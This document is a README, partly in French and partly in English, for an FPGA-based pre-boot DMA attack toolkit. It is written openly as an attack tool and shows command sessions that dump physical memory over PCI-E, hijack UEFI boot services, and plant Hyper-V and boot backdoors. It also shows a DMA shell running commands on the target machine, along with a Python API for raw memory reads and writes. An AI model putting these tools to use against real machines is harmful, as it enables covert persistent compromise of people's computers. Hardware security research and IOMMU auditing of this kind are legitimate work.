Un autre programme montre comment utiliser les attaques DMA pré-démarrage pour injecter du code arbitraire en mode utilisateur ou en mode noyau dans le système d'exploitation Windows en détournant son processus de démarrage à l'aide de Boot Backdoor. Ce programme peut également fonctionner avec DMA Shell − c'est un payload Boot Backdoor qui permet d'exécuter des commandes console via le périphérique PCI-E malveillant, de transférer des fichiers et de charger des exécutables tiers dans le système d'exploitation cible au moment de l'exécution.

💾 La partie Hyper-V Backdoor de ce projet possède de nombreuses autres fonctionnalités et options de déploiement que celles décrites dans ce document ; vous pouvez l'utiliser séparément des outils d'attaque DMA, même sans matériel spécial : consultez sa documentation

💾 La partie Boot Backdoor de ce projet possède de nombreuses autres fonctionnalités et options de déploiement que celles décrites dans ce document ; vous pouvez l'utiliser séparément des outils d'attaque DMA, même sans matériel spécial : consultez sa documentation

💾 Les outils Python de ce projet et les conceptions FPGA pour les cartes SP605, ZC706 et PicoEVB peuvent également être utilisés pour déployer SMM Backdoor Next Gen avec une attaque DMA pré-démarrage. Consultez sa documentation pour plus de détails techniques.

🛠️ Les outils Python et les payloads de ce projet, y compris Hyper-V Backdoor et Boot Backdoor, peuvent également être utilisés avec les cartes basées sur le SoC Xilinx Zynq-7000. Il existe un projet séparé de conception d'attaques DMA pour le kit d'évaluation Xilinx ZC706.

🛠️ Les outils Python et les payloads de ce projet, y compris Hyper-V Backdoor et Boot Backdoor, peuvent également être utilisés avec la carte de développement PicoEVB. Il existe un projet Pico DMA séparé − implant matériel d'attaque DMA pré-démarrage entièrement autonome pour emplacement M.2, capable d'exécuter des pilotes UEFI DXE arbitraires en tant que payload.

Contenu

• s6_pcie_microblaze.xise − Fichier de projet Xilinx ISE.

• microblaze/pcores/axis_pcie_v1_00_a/ − Module périphérique personnalisé qui permet de connecter le bloc endpoint PCI Express intégré du FPGA Spartan-6 en tant que flux TLP brut au cœur du processeur logiciel MicroBlaze.

• sdk/srec_bootloader_0/ − Bootloader simple pour le processeur logiciel MicroBlaze ; il utilise le format d'image SREC et la mémoire flash linéaire embarquée du SP605 pour charger et stocker le programme principal MicroBlaze.

• sdk/main_0/ − Programme principal pour le processeur logiciel MicroBlaze ; il transmet les paquets TLP bruts du bus PCI-E vers la connexion TCP en utilisant le port Ethernet embarqué du SP605 et la pile réseau lwIP.

• python/pcie_lib.py − Bibliothèque Python pour interagir en réseau avec le programme MicroBlaze principal exécuté sur la carte SP605 ; elle implémente diverses abstractions de bas et haut niveau pour travailler avec la couche TLP de PCI-E depuis le code Python.

• python/pcie_mem.py − Programme en ligne de commande qui extrait la RAM de l'hôte vers l'écran ou un fichier de sortie en envoyant des TLP MRd.

• python/pcie_mem_scan.py − Programme en ligne de commande qui analyse l'hôte cible pour trouver les plages de mémoire physique accessibles via le bus PCI-E ; utile pour un audit de sécurité des plateformes avec IOMMU activé (exemples : 1, 2, 3, 4).

• python/uefi_backdoor_simple.py − Programme en ligne de commande pour attaque DMA pré-démarrage qui injecte un pilote UEFI factice dans la séquence de démarrage de la machine cible.

• python/uefi_backdoor_hv.py − Programme en ligne de commande pour attaque DMA pré-démarrage qui injecte la backdoor de gestionnaire de VM exit Hyper-V dans la séquence de démarrage du système cible.

• python/uefi_backdoor_boot.py − Programme en ligne de commande pour attaque DMA pré-démarrage qui injecte Boot Backdoor dans la séquence de démarrage du système cible.

• python/payloads/DmaBackdoorSimple/ − Code source du pilote UEFI DXE factice à utiliser avec uefi_backdoor_simple.py.

• python/payloads/DmaBackdoorHv/ − Code source du pilote UEFI DXE à utiliser avec uefi_backdoor_hv.py ; il implémente la fonctionnalité Hyper-V Backdoor.

• python/payloads/DmaBackdoorBoot/ − Code source du pilote UEFI DXE à utiliser avec uefi_backdoor_boot.py ; il implémente la fonctionnalité Boot Backdoor.

Configuration de la carte SP605

Le document Xilinx UG526, également connu sous le nom de SP605 Hardware User Guide, est votre meilleur ami si vous souhaitez en savoir plus sur l'utilisation et la configuration de cette belle carte.

1. Pour charger le bitstream depuis la puce flash SPI embarquée, vous devez configurer le SP605 en plaçant les interrupteurs SW1 sur les positions 1-ON, 2-OFF.

2. Vous devez maintenant écrire le bitstream FPGA dans la flash SPI. Utilisez le fichier s6_pcie_microblaze.mcs si vous souhaitez le faire via JTAG à l'aide de l'utilitaire Xilinx iMPACT (voir ce tutoriel), ou s6_pcie_microblaze.bin si vous préférez utiliser un programmateur de flash SPI externe connecté au connecteur J17 du SP605 (ce qui est le moyen le plus rapide et le plus pratique).

Si vous disposez d'un programmateur de flash SPI compatible flashrom, vous pouvez utiliser le programme flash_to_spi.py comme wrapper flashrom :``` $ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin Using region: "main". Calibrating delay loop... OK. Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi. Reading old flash chip contents... done. Erasing and writing flash chip... Warning: Chip content is identical to the requested image. Erase/write done.

5. Pour configurer les paramètres réseau, vous devez exécuter le programme bootloader_ctl.py avec l'option --config :``` $ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472 [+] Opening device "/dev/ttyUSB0"... [+] Updating board settings...

Address: 192.168.2.247 Netmask: 255.255.255.0 Gateway: 192.168.2.1 Port: 28472

Erasing flash... Writing 0x12 bytes at 0x00000000 [+] DONE

Main program prints its error messages into the onboard UART, you can use --console option of bootloader_ctl.py to monitor this messages in real time.

7. Connectez le SP605 au slot PCI-E de l'ordinateur cible et allumez l'ordinateur. Lorsque la liaison PCI-E est établie avec succès, vous verrez les LED DS3 et DS4 allumées.

8. Exécutez la commande lspci sur l'ordinateur cible pour vous assurer que son système d'exploitation voit votre carte comme un périphérique PCI-E approprié :```

lspci | grep Xilinx

01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID

Exemple de périphérique PCI-E tel qu'il apparaît dans les informations matérielles d'Apple macOS lorsqu'il est connecté au port Thunderbolt 2 d'un MacBook Pro :

Du côté de l'attaquant, vous pouvez utiliser le programme pcie_cfg.py pour afficher les registres de l'espace de configuration du périphérique PCI-E :``` $ ./pcie_cfg.py [+] PCI-E link with target is up [+] Device address is 03:00.0

SUBSYSTEM_VENDOR_ID = 0x10ee SUBSYSTEM_ID = 0x7 ROM_ADDRESS = 0x0 INTERRUPT_LINE = 0xff INTERRUPT_PIN = 0x1 MIN_GNT = 0x0 MAX_LAT = 0x0

Voici un exemple de vidage de 0x80 octets de la mémoire physique de l'ordinateur cible à partir de l'adresse zéro à l'aide du programme pcie_mem.py :``` $ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80 TLP TX: size = 0x04, source = 01:00.0, type = MRd64 tag = 0x00, bytes = 0x84, addr = 0x00000000

TLP RX: size = 0x23, source = 00:00.0, type = CplD tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0

TLP RX: size = 0x04, source = 00:00.0, type = CplD tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0

00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................ 00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0.. 00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................ 00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S... 00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y... 00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9............... 00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S... 00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............

• DEBUG_TLP − Si défini à 1, affiche les paquets TLP TX et RX dans la sortie standard.

• TARGET_ADDR − Chaîne <address>:<port> pour remplacer l'adresse IP de la carte spécifiée dans le fichier python/pcie_lib_config.py.

Utilisation de l'API Python

La bibliothèque Python pcie_lib.py fournit une API de bas niveau pour envoyer et recevoir des paquets TLP PCIe, ainsi que des abstractions pour différents types de TLP et une API de haut niveau pour l'accès à la mémoire physique.

Le programme suivant illustre comment travailler avec des TLP bruts à l'aide de pcie_lib.py :```python from pcie_lib import *

Open PCI-E device, optional addr parameter overrides value specified in pcie_lib_config.py

file or TARGET_ADDR environment variable

dev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))

get bus:device.function address of our PCI-E endpoint

bus_id = dev.get_bus_id()

MRd TLP request which reads 1 dword of memory at address 0x1000

tlp_tx = [ 0x20000001, # TLP type and data size 0x000000ff | (bus_id << 16), # requester ID 0x00000000, # high dword of physical memory address 0x00001000 ] # low dword of physical memory address

send TLP

dev.write(tlp_tx)

receive root complex reply

tlp_rx = dev.read(raw = True)

prints 4a000001 00000004 01000000 00000000

print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))

check for CplD TLP format and type

assert (tlp_rx[0] >> 24) & 0xff == 0x4a

print readed dword

print('%.8x' % tlp_rx[3])

dev.close()

Accéder à la mémoire physique avec une API de haut niveau :```python

write bytes to memory

dev.mem_write(0x1000, '\xAA' * 0x10)

write single qword/dword/word/byte to memory

dev.mem_write_8(0x1000, 0) dev.mem_write_4(0x1000, 0) dev.mem_write_2(0x1000, 0) dev.mem_write_1(0x1000, 0)

read bytes from memory

print(repr(dev.mem_read(0x1000, 0x10)))

read single qword/dword/word/byte from memory

print('%.16x' % dev.mem_read_8(0x1000)) print('%.8x' % dev.mem_read_4(0x1000)) print('%.4x' % dev.mem_read_2(0x1000)) print('%.2x' % dev.mem_read_1(0x1000))

5. Allumez l'ordinateur cible ; en cas d'attaque réussie, après quelques secondes, vous verrez l'écran de messages de débogage rouges du pilote UEFI DXE injecté :

Un exemple de sortie console de uefi_backdoor_simple.py après l'attaque réussie :``` $ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi [+] Using UEFI system table hook injection method [+] Reading DXE phase payload from payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [+] PCI-E link with target is up [+] TSEG is somewhere around 0xd7000000 [+] PE image is at 0xd6260000 [+] EFI_SYSTEM_TABLE is at 0xd61eaf18 [+] EFI_BOOT_SERVICES is at 0xd680aa00 [+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18 Backdoor image size is 0x1240 Backdoor entry RVA is 0x31c Planting DXE stage driver at 0x10000... Hooking LocateProtocol(): 0xd67e2c18 -> 0x0001031c 0.780202 sec. [+] DXE driver was planted, waiting for backdoor init... [+] DXE driver was executed [+] DONE

Le pilote UEFI DXE de Hyper-V Backdoor imprime également ses messages de débogage à l'écran. De plus, vous pouvez utiliser l'option --debug-output de uefi_backdoor_hv.py pour lire ces messages de débogage depuis la mémoire physique du système cible et les afficher sur le stdout :``` $ ./uefi_backdoor_hv.py --debug-output [+] PCI-E link with target is up [+] Debug output buffer address is 0x79db3000

DmaBackdoorHv.c(1018) : ****************************** DmaBackdoorHv.c(1019) : DmaBackdoorHv.c(1020) : Hyper-V backdoor loaded! DmaBackdoorHv.c(1021) : DmaBackdoorHv.c(1022) : ****************************** DmaBackdoorHv.c(1055) : Image address is 0xc0000 DmaBackdoorHv.c(275) : BackdoorImageRealocate(): image size = 0x3260 DmaBackdoorHv.c(1065) : Resident code base address is 0x79daf000 DmaBackdoorHv.c(794) : Protocol notify handler is at 0x79daf364 DmaBackdoorHv.c(819) : BackdoorEntryResident() DmaBackdoorHv.c(830) : OpenProtocol() hook was set, handler = 0x79db1477 DmaBackdoorHv.c(835) : ExitBootServices() hook was set, handler = 0x79db1487 DmaBackdoorHv.c(447) : winload.dll is at 0x8ee000 DmaBackdoorHv.c(448) : winload!BlLdrLoadImage() is at 0x984a10 DmaBackdoorHv.c(477) : 535 free bytes found at the end of the code section at 0xa4ade9 DmaBackdoorHv.c(527) : winload!BlLdrLoadImage() hook was set, handler is at 0x79daf50c DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\mcupdate_GenuineIntel.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hvix64.exe" HyperV.c(369) : HyperVHook(): Hyper-V image is at 0xfffff80144e0d000 HyperV.c(388) : HyperVHook(): Resources section RVA is 0x1400000 (0x200000 bytes) HyperV.c(425) : HyperVHook(): Code section RVA is 0x200000 HyperV.c(604) : HyperVHook(): Hyper-V VM exit handler is at 0xfffff8014502ad90 HyperV.c(605) : HyperVHook(): Backdoor code size is 684 bytes DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\kdstub.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hv.exe" DmaBackdoorHv.c(560) : new_ExitBootServices() called

Now, when Boot Backdoor with its payload was successfully loaded, you can run uefi_backdoor_boot_shell.py with --attach option to communicate with currently running instance of DMA Shell:``` $ ./uefi_backdoor_boot_shell.py --attach --command "hostname" [+] PCI-E link with target is up [+] Device address is 01:00.0 [+] Payload shared memory region is at 0x00200000 [+] Executing command: hostname [+] Process exit code: 0x00000000

DESKTOP-E52IJJ8

To get more information about Boot Backdoor use cases and features check its README file which contains detailed information.

Python programs uefi_backdoor_simple.py, uefi_backdoor_hv.py, uefi_backdoor_boot.py and uefi_backdoor_boot_shell.py support two different ways to pass execution to the injected UEFI DXE driver image:

• EFI_SYSTEM_TABLE hijack − scan system memory down from physical address 0xf0000000 to 0 with 0x10000 bytes step in order to find EFI system table by its signature and patch LocateProtocol() function address. To override memory scan options you can use SCAN_FROM and SCAN_STEP environment variables.

• PROTOCOL_ENTRY hijack − scan system memory up from physical address 0x76000000 to 0xa0000000 with 0x1000 bytes step to find EFI_CPU_IO2_PROTOCOL structure of CPU I/O 2 protocol and patch one of its functions. To override memory scan options you can use SCAN_FROM, SCAN_TO and SCAN_STEP environment variables.

By default all four programs are using EFI system table hijack method, to use protocol entry method instead you can pass --inj-prot command line option to the appropriate program. To reduce amount of time required to perform the attack you can specify previously found EFI_SYSTEM_TABLE structure address using --system-table option and PROTOCOL_ENTRY structure address using --prot-entry option. Also, all four Python programs has --test command line option, this option is used to do the memory scan and find required structures addresses without performing an actual hijack of the execution flow. So, during the first boot you can run desired program with --test option to find needed address and during the second boot you can run the same program with --system-table or --prot-entry option to specify that address.

During development of malicious code for pre-boot DMA attacks it's important to have an information about execution environment of UEFI DXE phase. To collect such information you can turn the target computer on, enter into the BIOS setup menu or boot options menu to pause loading of the operating system and run uefi.py program without arguments. This program will scan physical memory of the target computer and print various information about existing UEFI DXE protocols and interfaces, loaded UEFI drivers, UEFI descriptor tables and ACPI tables. Here you can see an example of information obtained by uefi.py program while using AAEON UP Squared mini-PC as attack target.

Option ROM attacks

Provided bitstream can emulate PCI-E option ROM stored in onboard linear flash memory of SP605. Although modern platforms mitigates option ROM attacks, this feature still could be useful for security audit or prototyping purposes.

You can manage option ROM images using pcie_rom_ctl.py Python program.
Erasing option ROM contents:``` $ ./pcie_rom_ctl.py --erase [+] Opening PCI-E device... [+] Enabling resident mode... [+] Erasing option ROM... [+] Done

Il existe également une option pour journaliser les accès mémoire de l'option ROM dans l'UART de débogage de la carte SP605. Pour activer ou désactiver cette option, utilisez les paramètres --log-on et --log-off du programme ./pcie_rom_ctl.py.

Pour vérifier le bon fonctionnement du support de l'option ROM sous Linux, vous pouvez procéder comme suit.
Tout d'abord, trouvez l'adresse bus-fonction-périphérique du périphérique PCI-E de la carte SP605 :```

lspci | grep Xilinx

01:00.0 Ethernet controller: Xilinx Corporation Device 1337

Maintenant, vous pouvez extraire le contenu de l'option ROM précédemment chargée à l'aide de la commande dd et du pseudo-fichier approprié de sysfs :```

dd if=/sys/bus/pci/devices/0000:01:00.0/rom | hexdump -Cv

00000000 55 aa 0b 00 f1 0e 00 00 0b 00 64 86 00 00 00 00 |U.........d.....| 00000010 00 00 00 00 00 00 60 00 1c 00 00 00 50 43 49 52 |......`.....PCIR| 00000020 ee 10 37 13 00 00 1c 00 03 00 00 00 0b 00 00 00 |..7.............| 00000030 03 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................| 00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000060 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |MZ..............| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

...

Dépannage

Le bus PCI Express est un bus à très haute vitesse et très complexe, donc beaucoup de choses peuvent mal tourner. Si l'attaque DMA ne fonctionne pas sur votre configuration, vous pouvez vérifier les points suivants pour déterminer le problème exact :

• La LED DS3 est allumée lorsque la liaison PCI-E physique est active et DS4 est allumée lorsque le root complex a assigné l'adresse bus-device-function à notre endpoint PCI-E. Si DS3 est éteinte, cela indique probablement un problème de connectivité physique − vérifiez vos risers, câbles, etc. Si DS3 est allumée mais DS4 est éteinte, cela signifie que vous devez redémarrer votre cible d'attaque ou forcer un rescan des périphériques PCI-E de son côté.

• La LED DS5 est allumée pendant une réinitialisation du bus PCI-E ; si elle est toujours allumée, cela signifie un problème de connectivité physique.

• Si le root complex envoie un TLP Cpl au lieu d'un TLP CplD en réponse à une requête de lecture mémoire, cela signifie que l'accès mémoire a été rejeté en raison d'une adresse invalide ou de contrôles d'accès imposés par l'IOMMU. De plus, une machine x86 typique peut ne pas répondre du tout aux requêtes de lecture mémoire vers certaines régions MMIO de l'espace d'adressage physique.

• Si le logiciel reçoit des TLP incohérents ou invalides du root complex en réponse aux requêtes de lecture mémoire, vous pouvez essayer de définir une valeur plus petite de la constante MEM_RD_TLP_LEN dans pcie_lib.py pour diviser les données de réponse en plus petits morceaux. Il est également utile d'exécuter le programme avec la variable d'environnement DEBUG_TLP=1 et de vérifier le dump des TLP TX/RX bruts.

Construction du projet à partir du code source

1. Installez Xilinx ISE 13.4 qui est fourni avec votre carte SP605 et ouvrez le fichier projet s6_pcie_microblaze.xise.

2. Régénérez les cœurs s6_pcie_v2_4 et fifo_generator_v8_4 présents dans la hiérarchie du projet.

3. Cliquez sur l'instance microblaze_i dans la hiérarchie du projet et exécutez « Export Hardware Design to SDK With Bitstream ».

4. Lorsque la compilation sera terminée, ISE ouvre l'IDE Xilinx Software Development Kit ; utilisez le dossier sdk comme espace de travail.

5. Créez un nouveau package de support de carte autonome dans l'arborescence de votre projet Xilinx SDK, choisissez les bibliothèques lwIP et xilflash dans la configuration BSP.

6. Importez les projets sdk/srec_bootloader_0 et sdk/main_0 dans l'arborescence du projet et lancez la compilation.

7. Exécutez make bitstream && make srec depuis l'invite de commande Xilinx ISE pour générer les fichiers de sortie nécessaires.

Développé par

Dmytro Oleksiuk (aka Cr4sh)

[email protected]
http://blog.cr4.sh
@d_olex